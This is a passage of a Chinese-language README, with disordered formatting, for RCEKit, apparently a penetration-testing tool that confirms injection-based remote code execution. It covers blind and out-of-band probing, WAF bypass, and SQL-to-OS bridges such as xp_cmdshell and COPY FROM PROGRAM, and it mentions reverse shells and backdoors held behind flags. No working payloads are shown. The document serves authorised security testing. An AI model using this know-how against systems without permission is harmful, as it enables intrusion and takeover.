--observe-url)——当 payload 落在一个请求上而在另一个请求上运行时:在个人资料页渲染的存储型 SSTI、写入日志后被模板引擎渲染的 payload、排队的作业。所观察的端点与在任何探测发送之前拍摄的快照进行差分。--bridges)——COPY … FROM PROGRAM、xp_cmdshell、expect://。桥接是载体,不是 oracle:它包装方法已经构建的命令,因此同样的层级通过它适用。-p all)——查询、JSON 叶子、表单字段、multipart 部分、cookie、头部和路径段,每个都按其落点编码,并在任何触发之前打印探测成本。GraphQL 请求体按实际能确认的内容排序:resolver 在操作文档本身之前读取的 variables。自由混合方法:--methods reflected,eval,time 运行全部三种并分别报告每个层级。
诚实的范围。 RCEKit 确认的是通过注入到请求中并 shell 或求值器解释而可达的 RCE。它不覆盖内存破坏漏洞(缓冲区溢出、UAF)或注入到无 shell 的
argv数组中的参数注入——那些是不同的问题。反序列化 gadget 链同样不在范围内:--methods deser证明端点反序列化攻击者数据,并在自己的层级中如此说明,但哪个 gadget(如果有)将其转化为执行取决于目标的 classpath,RCEKit 不声称知道。它旨在对上述注入驱动的 RCE 类别做到卓越,而不是对所有事情都平庸。
这个领域的其他工具是为了让你进去而构建的。RCEKit 是为了让发现经得起他人的审视而构建的——客户的复测、分诊队列、报告审查。这种差异在三个地方显现。
你在测试之前很少知道类别。用单类别工具覆盖未知 sink 意味着依次运行每一个,并为每一个重建请求:
| 能确认 | RCEKit | commix | SSTImap | Nuclei |
|---|---|---|---|---|
| OS 命令注入 | ✅ | ✅ (其全部范围) | — | 按模板 |
| 表达式注入 / SSTI | ✅ | 通过其基于 eval 的技术 | ✅ (其全部范围) | 按模板 |
| 盲——时序 | ✅ 作为单独层级 | ✅ | ✅ | — |
| 盲——带外 | ✅ 内置监听器 | — | — | 通过 interactsh |
| 无出网——写入并取回 | ✅ 任意回读路径 | ✅ (web 根目录) | — | — |
cmd.exe 和 PowerShell sink | ✅ 按方言探测 | ✅ (cmd) | — | 按模板 |
| 上传 → 先写后执行 | ✅ 写入与执行,独立层级 | — | — | 按模板 |
| 二阶——落在这里,在那里运行 | ✅ | — | — | — |
| 查询语言到 OS 的桥接 | ✅ | — | — | 按模板 |
| 反序列化 sink | ✅ 自有层级,从不称为 RCE | — | — | 按模板 |
| 以上全部,一个 CLI,一次运行 | ✅ | — | — | — |
覆盖范围依据各项目自身记录的技术列表。SSTImap 是 tplmap 的维护后继者,其作者已将其标记为不再维护。```bash
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time
### 2. 它与自身的结果相矛盾
工具会报告它发现了什么。RCEKit 还会报告**它拒绝相信的内容**——
`inconclusive` 是一个独立的判定,针对那些出现了但无法归因于执行的证据:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11
这两个本会是别人的发现。五种机制产生这一判定,并在每次确认时运行:
inconclusive,而非发现。$((a+b));只有执行才会返回值。confirmed 的范围。同样的直觉也反向运行。计时从不自我确认,反序列化回调绝不被称为 RCE,未构建任何探测的运行绝不被称为阴性。
客户交战规则实际会问到的控制项,在工具中而非你的笔记中:
| 同意门控 | 没有 --acknowledge-consent,任何利用性内容都不会生成或触发。 |
| 执行计划 | 在第一个请求发出之前,打印确切的探测数量、接收端形态、安全层级以及任何出站回调目的地。 |
| 默认安全 | 反向 shell、凭据访问、云元数据、横向移动和容器逃逸会被扣留,直到你提升 --verify-active-risk;持久化和后门还需要额外一个标志。在目标上创建对象的桥接同样受此上限约束。 |
| 清理命令 | file、write 和有状态桥接会改变目标状态,因此每个发现——包括 needs-review——都会打印撤销它所需运行的命令。 |
| 凭据保持原位 | file 回读获取仅将本次运行的 Authorization/Cookie 头带到同源,并在扣留它们时明确说明。观察通道获取完全不发送任何头,除非你用 --observe-request 交给它一个请求。 |
| 脱敏审计追踪 | 每次运行都记录在 exploit_audit.log 中,记录发送了凭据头,但绝不记录其值。 |
| 水印 | --watermark 将可追踪令牌盖入每个载荷,因此数月后在客户日志中发现的载荷可归因于你的运行。 |
| 无第三方回调 | OOB 监听器是你自己的。没有任何内容通过公共交互服务器路由,某些交战完全禁止这样做。 |
| 单个标准库文件 | rcekit.py 独立运行——跳板机、气隙主机,任何无法 pip install 的地方。 |
想要 shell 而非判定?commix 和 SSTImap 会继续进入后利用阶段;RCEKit 按设计止步于证明。扫描数千台主机寻找已知 CVE?那是 Nuclei 的工作——而 RCEKit 编写 Nuclei 模板(--output-format nuclei),因此它喂养你的扫描器而非与之竞争。已经知道注入是 SQL 并想要数据库本身?sqlmap 占据那片领域——RCEKit 的桥接存在是为了证明从文本参数可触达 OS,而非利用数据库。
每一行都是实战指南中的一个完整示例——命令、它发送什么,以及如何解读返回内容。
| 情况 | 前往 |
|---|---|
| 我有一个 URL 和一个参数 | 指向一个 URL |
| 我有从 Burp 保存的请求 | 指向一个捕获的请求 |
| 应用是 JSON / 载荷不断被破坏 | 完整落地载荷 |
| 我不知道它属于哪一类 | 选择方法 |
接收端剥离 ; | 当接收端过滤分隔符时 |
我的输入落在 '引号' 内 | 在引号内注入 |
| 接收端将我的输入作为整个命令运行 | 整命令接收端 |
| 目标是 Windows 或接收端是 PowerShell | Windows 和 PowerShell 接收端 |
| 有 WAF | 绕过 WAF |
| 完全没有输出返回 | 盲目标 |
| 没有输出且没有出口 | 无出口目标 |
| 请求存储文件而非运行任何内容 | 上传和写入原语目标 |
| 载荷稍后在不同请求上运行 | 当执行发生在另一个请求上时 |
| 注入点是 SQL 且接收端是数据库主机 | 查询语言桥接 |
| 自己验证 | 在你自己的机器上,针对 docker 化的易受攻击目标,复现上述确认。五分钟。 |
| 实战指南 | 以示例驱动的演练,涵盖每种真实情况,从首次探测到多步链。从这里开始。 |
| 载荷生成与导出 | RCEKit 作为载荷生成器:目标配置文件,以及 Burp / ffuf / Nuclei 导出。 |
| 参考 | 每个标志、环境、类别、上下文、编码和代码执行接收端。 |
| CHANGELOG.md | 每个版本的变化,以及升级时需要重新检查的内容。 |
| CONTRIBUTING.md | 如何添加接收端、类别、编码和检测方法。 |
| SECURITY.md | 报告 RCEKit 本身的漏洞。 |
RCEKit 会利用,这正是重点。 漏洞通过让目标做那件事来确认,因为这是签名无法伪造、已修补构建无法意外产生的唯一证据。约束一次运行的不是不愿利用。而是两个结构性事实和一个开关。
它不接受你的任意载荷。 探测由引擎构建以服务预言机——对该探测随机的操作数进行算术运算,一个只有本次运行才可能选择的名字。没有任何输入能将检测变成别的东西,因为不存在这样的输入可给。
任何超出计算值范围的操作都会声明它所需的层级,因此一个标志决定一次运行走多远:--verify-active-risk safe | intrusive | stateful。高于该层级的方法或单个探测形态会被按名称扣留,并附上会发送它的标志——一个悄悄缩小的阶梯与一个无可发现的目标无法区分。针对一次性实例,提升层级并获得工具拥有的一切。
--acknowledge-consent;--detection-only 是良性的,不需要。--verify-active-risk。破坏性载荷(持久化、后门)在没有 --verify-allow-destructive 时绝不触发。执行计划会在任何内容触发前打印确切将发送的内容。safe / intrusive / stateful。语料库载荷由 --max-safety 过滤;检测方法及其探测形态声明相同的阶梯,并由 --verify-active-risk 过滤,因此让目标外联或留下东西的方法与每个语料库载荷受相同的排序约束。预检会指明每个被扣留项实际需要的层级。file 和 write 改由它们自己的配置门控:在你指定写入目录和回读 URL 之前,两者都不做任何事。exploit_audit.log 中;--watermark 嵌入可追踪令牌;执行日志写入 rcekit.log。--template-file 缺失,会使 RCEKit 拒绝运行并以非零退出,而非静默生成空内容(--doctor 会检查它)。只有缺失的默认语料库文件才会回退到内置副本,并且回退时会说明。本工具包仅用于授权渗透测试、安全研究、教育和防御性培训。绝不要在未经明确许可的情况下对系统使用它——未经授权的测试是非法的。
python -m unittest discover -s tests # dependency-free test suite
欢迎贡献——新的 sink/类别、编码、环境、检测方法、错误修复和文档。Payload 基础内容存放在可编辑的 JSON 模板(`templates/payloads.json`)中,因此大多数覆盖范围的扩展无需改动 Python 源代码。修改语料库后,请刷新随 `rcekit.py` 一起发布的内置副本:```bash
python tools/embed_corpus.py # --check verifies it is current
如果两者出现偏差,测试套件就会失败。参见 CONTRIBUTING.md。
MIT — 参见 LICENSE。
| 端点接收序列化对象 |
| 反序列化接收端 |
| 接收端在登录或文件上传之后 | 多步链 |
我得到了 needs-review / inconclusive / error | 解读结果 |
| 它说语料库不可用 | 故障排除 |